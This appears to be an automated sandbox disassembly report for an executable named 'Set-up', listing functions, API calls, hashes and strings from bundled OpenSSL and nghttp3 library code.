Opcode Fuzzy Hash: 2012fab889d0d96b7e281a4c766161d324744de34888560a556a17484deee94b
Instruction Fuzzy Hash: BF31FF71B74301ABDB109E24DDC6F2A7B989F42714F088529F94D9F2C7EAA4DC248671

Function 00284460 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 70stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,002871DD,00000000,?,?), ref: 002844AC
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(00000000,?,00000000,?,?,?,?,?), ref: 002844FF

Part of subcall function 002C7220: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C7262
Part of subcall function 002C7220: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C7285
Part of subcall function 002C7220: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C72C5
Part of subcall function 002C7220: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C72E8

Strings

crypto/asn1/asn1_lib.c, xrefs: 00284487, 002844DB
ASN1_STRING_set, xrefs: 0028447D

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strlen$strcpy$memcpy
String ID: ASN1_STRING_set$crypto/asn1/asn1_lib.c
API String ID: 1223016426-1431402185
Opcode ID: eb9212d0c83990cddd6f8eaeb89ad63303e954e6fd16c7bcca5353419998a0d9
Instruction ID: d50dd9b97093fd148e5e588893c260f09101abe78345a6e3cbc1dddb553899d5
Opcode Fuzzy Hash: eb9212d0c83990cddd6f8eaeb89ad63303e954e6fd16c7bcca5353419998a0d9
Instruction Fuzzy Hash: 30119BB9A553165BDB207D648C41F2FB3989BA0714F15022DFD199B3C2EAA4DC2087F2

Function 001BC220 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 245COMMON

Download Yara Rule

APIs

_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0((size_t)(p - pbuf->last) == len,nghttp3_qpack.c,00000978), ref: 001BC4E7

Strings

(size_t)(p - pbuf->last) == len, xrefs: 001BC4E2
nghttp3_qpack.c, xrefs: 001BC4DD

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _assert
String ID: (size_t)(p - pbuf->last) == len$nghttp3_qpack.c
API String ID: 1222420520-3384106985
Opcode ID: f6d7c60ef1ebcdcabd90c146323bcc0b0af0b8525a65f71d30a2ab8f66b3d9aa
Instruction ID: 6b9539957a26bd9a2270b8f8f75e521c6f233686cefa999157af4b294ce050b3
Opcode Fuzzy Hash: f6d7c60ef1ebcdcabd90c146323bcc0b0af0b8525a65f71d30a2ab8f66b3d9aa
Instruction Fuzzy Hash: 3481C171A083009FD7089E2CC89076AB7D2AB99714F59867CE8998B3E2D735DC4887C1

Function 0029C950 Relevance: 5.4, APIs: 4, Instructions: 409COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a3e4f79732f4f03d5c7eb3a3425ee62786d9e1b53039b8f6863c2d7f0731408
Instruction ID: 7552d8c3df1a17eb1356240d9973131549f85ea866f42281fc7673890e8c8546
Opcode Fuzzy Hash: 7a3e4f79732f4f03d5c7eb3a3425ee62786d9e1b53039b8f6863c2d7f0731408
Instruction Fuzzy Hash: 6DD1E2B2518305BFDB04AF58DC41E6BBBA9EFC4344F49482CF94547222E671ED24CBA2

Function 001BC520 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 151COMMON

Download Yara Rule

APIs

_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0((size_t)(p - rbuf->last) == len,nghttp3_qpack.c,000004D0,?,?,?,?,?,?,001BB434,?,?,00000000,00000000,?,?), ref: 001BC68A

Strings

(size_t)(p - rbuf->last) == len, xrefs: 001BC685
nghttp3_qpack.c, xrefs: 001BC680

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _assert
String ID: (size_t)(p - rbuf->last) == len$nghttp3_qpack.c
API String ID: 1222420520-2159148421
Opcode ID: 9f2bc6f76071b16a5a0087cab5953eacb3eeaedefad8bb39d09ba18642357a84
Instruction ID: 4433eeb700a166e8940d7e57edac30dfd585c336cd87ff8cf94ad565c71cb01d
Opcode Fuzzy Hash: 9f2bc6f76071b16a5a0087cab5953eacb3eeaedefad8bb39d09ba18642357a84
Instruction Fuzzy Hash: E941F671B083005FD7099A28D890BAAB7D6EFD9314F18867DE989CB392EB35DD05C781

Function 001C2600 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 151COMMON

Download Yara Rule

APIs

_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(nghttp3_buf_left(dbuf) >= nghttp3_buf_len(&decoder->dbuf) + len,nghttp3_qpack.c,00000EB7,?,?,?,00000000,?,?,?,?,?,?,?,?,?), ref: 001C27D1

Strings

nghttp3_buf_left(dbuf) >= nghttp3_buf_len(&decoder->dbuf) + len, xrefs: 001C27CC
nghttp3_qpack.c, xrefs: 001C27C7

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _assert
String ID: nghttp3_buf_left(dbuf) >= nghttp3_buf_len(&decoder->dbuf) + len$nghttp3_qpack.c
API String ID: 1222420520-645767172
Opcode ID: fff28e5b11fc6161205ab854c7625eedb40c586ce9de7dd1307153ac230abf1f
Instruction ID: e485c349e001ccfb4e8b43cd10cbbc2b670aa17fadaa4c1e144314ae63fabac4
Opcode Fuzzy Hash: fff28e5b11fc6161205ab854c7625eedb40c586ce9de7dd1307153ac230abf1f
Instruction Fuzzy Hash: F351F775A043148FD7049F28D890B6AB7D6EFA8314F19467CEC999B382EB34DD05CB91

Function 003049A0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 150COMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0(?,00000000,0018836A,?,?,0000012C,000000FF), ref: 003049BA

Part of subcall function 002C7220: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C7262
Part of subcall function 002C7220: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C7285
Part of subcall function 002C7220: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C72C5
Part of subcall function 002C7220: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C72E8

Strings

OCSP_check_validity, xrefs: 00304A05, 00304A76, 00304B09, 00304B40
crypto/ocsp/ocsp_cl.c, xrefs: 00304A0F, 00304A7C, 00304B0F, 00304B4A

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strcpystrlen$_time64
String ID: OCSP_check_validity$crypto/ocsp/ocsp_cl.c
API String ID: 3821555430-713967112
Opcode ID: 1afe0beb284818ef164ccb4a1a2d9ce56f7c3292a5ea0f8ced2138a118c87296
Instruction ID: 4d5ead89594e3f7a1d34311d96c2c96dd892edb61aaa5f2a419ce35c4cfa7fbd
Opcode Fuzzy Hash: 1afe0beb284818ef164ccb4a1a2d9ce56f7c3292a5ea0f8ced2138a118c87296
Instruction Fuzzy Hash: 8541D4B6F4830077DA107A65EC42F5B77558F94754F094138BE4C9B3C2E579FA208AA3

Function 001B45C0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMON

Download Yara Rule

APIs

_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(tnode->pri.urgency < NGHTTP3_URGENCY_LEVELS,nghttp3_conn.c,0000060E,?,?,?,?,?,?,?), ref: 001B468C

Strings

tnode->pri.urgency < NGHTTP3_URGENCY_LEVELS, xrefs: 001B4687
nghttp3_conn.c, xrefs: 001B4682

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _assert
String ID: nghttp3_conn.c$tnode->pri.urgency < NGHTTP3_URGENCY_LEVELS
API String ID: 1222420520-4133914617
Opcode ID: 79648826609f92ba661cf045908f2cc1a6bb50040542562d5db215d3f7f7eef4
Instruction ID: 375dd47a3b80f5f395d0772cec1b7a8186e111a4e6f6c0ac5958ca0fb0724ffe
Opcode Fuzzy Hash: 79648826609f92ba661cf045908f2cc1a6bb50040542562d5db215d3f7f7eef4
Instruction Fuzzy Hash: B531F0756002056FD610DE28EC85EEBB7E8EF96369F040629F958C3282EB31E814C7A1

Function 001B4400 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 79COMMON

Download Yara Rule

APIs

_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(tnode->pri.urgency < NGHTTP3_URGENCY_LEVELS,nghttp3_conn.c,0000060E), ref: 001B44B7

Strings

tnode->pri.urgency < NGHTTP3_URGENCY_LEVELS, xrefs: 001B44B2
nghttp3_conn.c, xrefs: 001B44AD

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _assert
String ID: nghttp3_conn.c$tnode->pri.urgency < NGHTTP3_URGENCY_LEVELS
API String ID: 1222420520-4133914617
Opcode ID: f1b73c6937a6faba4527f66395104906989c13da3a1f6a8205c1da8bf503d332
Instruction ID: d26b96fea8f755d95de10b447dd0cf0d8172494599c18a73b7615e8fc95a2aba
Opcode Fuzzy Hash: f1b73c6937a6faba4527f66395104906989c13da3a1f6a8205c1da8bf503d332
Instruction Fuzzy Hash: 0221F276100605AFEB115F64DC01FE777DEAF96365F044468FA18C61A3EB3AD4248761

Function 0048A0C0 Relevance: 5.3, APIs: 4, Instructions: 327COMMON

Download Yara Rule

APIs

memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,00000000), ref: 0048A161
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,?), ref: 0048A2D1
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,00000000), ref: 0048A3EC
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,?), ref: 0048A499

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 6c7f82e55466ba9c5410bff703574377c473357d8b6ae2fa71727c8e075c28f9
Instruction ID: 11f58f46cb195955a0226baa3bb966b325b731a60d6ced10a560bd721059910c
Opcode Fuzzy Hash: 6c7f82e55466ba9c5410bff703574377c473357d8b6ae2fa71727c8e075c28f9
Instruction Fuzzy Hash: 42C1A1716042009FDB04EF2CC888A1E7BA5BF89714F19496EFC498B356D7B5EC50CB8A

Function 001B6140 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(i < len || offset == 0,nghttp3_stream.c,00000371,00000000,0018D7A7,?,?,0018D7A7), ref: 001B61CF

Strings

i < len || offset == 0, xrefs: 001B61CA
nghttp3_stream.c, xrefs: 001B61C5

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _assert
String ID: i < len || offset == 0$nghttp3_stream.c
API String ID: 1222420520-1528673747
Opcode ID: e32c80ec8ec1beeca881f4df1d6ced64bd24fc753da3bae61469a30b11c8183c
Instruction ID: d8b3bebb399f39664224c9fc04ae96c01b79773d1692606a4c281d42529a9a71
Opcode Fuzzy Hash: e32c80ec8ec1beeca881f4df1d6ced64bd24fc753da3bae61469a30b11c8183c
Instruction Fuzzy Hash: EE115EB55043048FD304EF28D898FE6B7E4EB98324F0904BDE949473A2D7346945CB91

Function 001B8700 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0((blklen & 0xfu) == 0,nghttp3_balloc.c,00000022,001B88D3,00000010,?,?,00000000,001B9AE3,001BACDD,-00000010,?,?,?,00000000,?), ref: 001B873C

Strings

(blklen & 0xfu) == 0, xrefs: 001B8737
nghttp3_balloc.c, xrefs: 001B8732

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _assert
String ID: (blklen & 0xfu) == 0$nghttp3_balloc.c
API String ID: 1222420520-1502420682
Opcode ID: 17128e061bf63f1b9b8ea2b0735da0e24770955d1551ad9261ec933ac7813357
Instruction ID: 32b074927b99f04f04a4cfc9a5acd5717f8b4fd411c8c64b4fdd5c37e4bf73e0
Opcode Fuzzy Hash: 17128e061bf63f1b9b8ea2b0735da0e24770955d1551ad9261ec933ac7813357
Instruction Fuzzy Hash: E211D6B5A09340AFC3129F14DC01B96BFB4AF52B18F1D8599E848AB2D3DB349C04C792

Function 001B89F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

_byteswap_uint64.API-MS-WIN-CRT-UTILITY-L1-1-0(FFFFFF3F,?,nghttp3_conv.c,0000003D,nghttp3_get_varint,001B5084,?,?), ref: 001B8A31

Strings

nghttp3_conv.c, xrefs: 001B8A53
nghttp3_get_varint, xrefs: 001B8A4C

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
